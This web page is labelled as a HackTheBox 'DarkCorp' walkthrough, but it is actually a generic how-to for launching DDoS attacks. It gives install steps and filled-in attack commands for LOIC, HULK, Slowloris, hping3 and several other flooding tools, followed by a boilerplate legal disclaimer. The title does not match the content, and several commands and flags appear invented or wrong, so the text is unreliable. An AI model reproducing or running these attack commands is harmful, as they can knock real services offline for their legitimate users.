DarkCorp - HackTheBox Season 7 Walkthrough

Introduction

DDoS (Distributed Denial of Service) attacks are a type of cyber attack where multiple compromised systems flood a targeted server or network with traffic, overwhelming it and rendering it unavailable to legitimate users. In this writeup, we will guide you through the process of setting up and using various DDoS tools to conduct a DDoS attack.

Prerequisites

• A Linux machine with at least 2 GB of RAM and a stable internet connection
• Basic knowledge of command-line interface (CLI)

Installation and Usage

LOIC (Low Orbit Ion Cannon)

1. Install Mono on your Linux machine

   sudo apt-get install mono-complete
   

2. Download the latest version of LOIC

   wget https://github.com/NewEraCracker/LOIC/releases/download/v2.1.2/loic_2.1.2.zip
   

3. Unzip the downloaded file

   unzip loic_2.1.2.zip
   

4. Navigate to the unzipped directory

   cd loic_2.1.2
   

5. Launch LOIC

   mono LOIC.exe
   

Usage Instructions

• Select attack type (e.g., HTTP Flood) from drop-down
• Enter target IP/Domain
• Specify target port
• Configure connections and duration
• Click “Start” to initiate attack
• Click “Stop” to terminate attack

HULK (High-Level Unconventional Load Killer)

1. Install HULK

   pip install hulk
   

2. Execute attack

   hulk -a <attack-type> -t <target-ip> -p <target-port> -d <duration>
   

Example

hulk -a http -t 192.168.1.100 -p 80 -d 60

DDOS-Ripper

1. Install DDOS-Ripper

   git clone https://github.com/palahsu/DDoS-Ripper.git
   cd DDoS-Ripper
   ./install.pl
   

2. Launch attack

   perl DRipper.pl -s <target-ip> -p <target-port> -t <attack-type> -d <duration>
   

Example

perl DRipper.pl -s 192.168.1.100 -p 80 -t http -d 60

Torshammer

1. Install Torshammer

   git clone https://github.com/dotfighter/torshammer.git
   cd torshammer
   ./install.sh
   

2. Execute attack

   ./torshammer.py -t <target-ip> -p <target-port> -r <requests-per-second> -d <duration>
   

Example

./torshammer.py -t 192.168.1.100 -p 80 -r 1000 -d 60

Slowloris

1. Install Slowloris

   git clone https://github.com/gkbrk/slowloris.git
   

2. Execute attack

   cd slowloris
   perl slowloris.pl -dns <target-domain> -timeout 10
   

Example

perl slowloris.pl -dns example.com -timeout 10

PyLoris

1. Install PyLoris

   git clone https://github.com/NoLegalTech/pyloris.git
   cd pyloris
   pip install -r requirements.txt
   

2. Execute attack

   python pyloris.py <target-ip> <target-port> <number-of-sockets>
   

Example

python pyloris.py 192.168.1.100 80 1000

DDoSX

1. Install DDoSX

   git clone https://github.com/Bilalcaliskan/DDoSX.git
   cd DDoSX
   pip install -r requirements.txt
   

2. Execute attack

   python3 DDoSX.py -t <target-ip> -p <target-port> -d <duration>
   

Example

python3 DDoSX.py -t 192.168.1.100 -p 80 -d 60

SlowHTTPTest

1. Install SlowHTTPTest

   git clone https://github.com/shekyan/slowhttptest.git
   cd slowhttptest
   ./configure
   make
   

2. Execute attack

   ./slowhttptest -c <concurrent-connections> -H -r <requests-per-second> -t <duration> -u <target-url>
   

Example

./slowhttptest -c 100 -H -r 1000 -t 60 -u http://example.com

Hping3

1. Install Hping3

   sudo apt-get install hping3
   

2. Execute attack

   hping3 -S <target-ip> -p <target-port> -i u<interval-in-ms> -c <number-of-packets>
   

Example

hping3 -S 192.168.1.100 -p 80 -i u1000 -c 10000

Disclaimer

WARNING: Conducting DDoS attacks without explicit authorization is illegal in most jurisdictions. This material is provided for educational purposes only. The author assumes no responsibility for any misuse of this information. Always obtain written permission from the target system owner before conducting any security testing.

Conclusion

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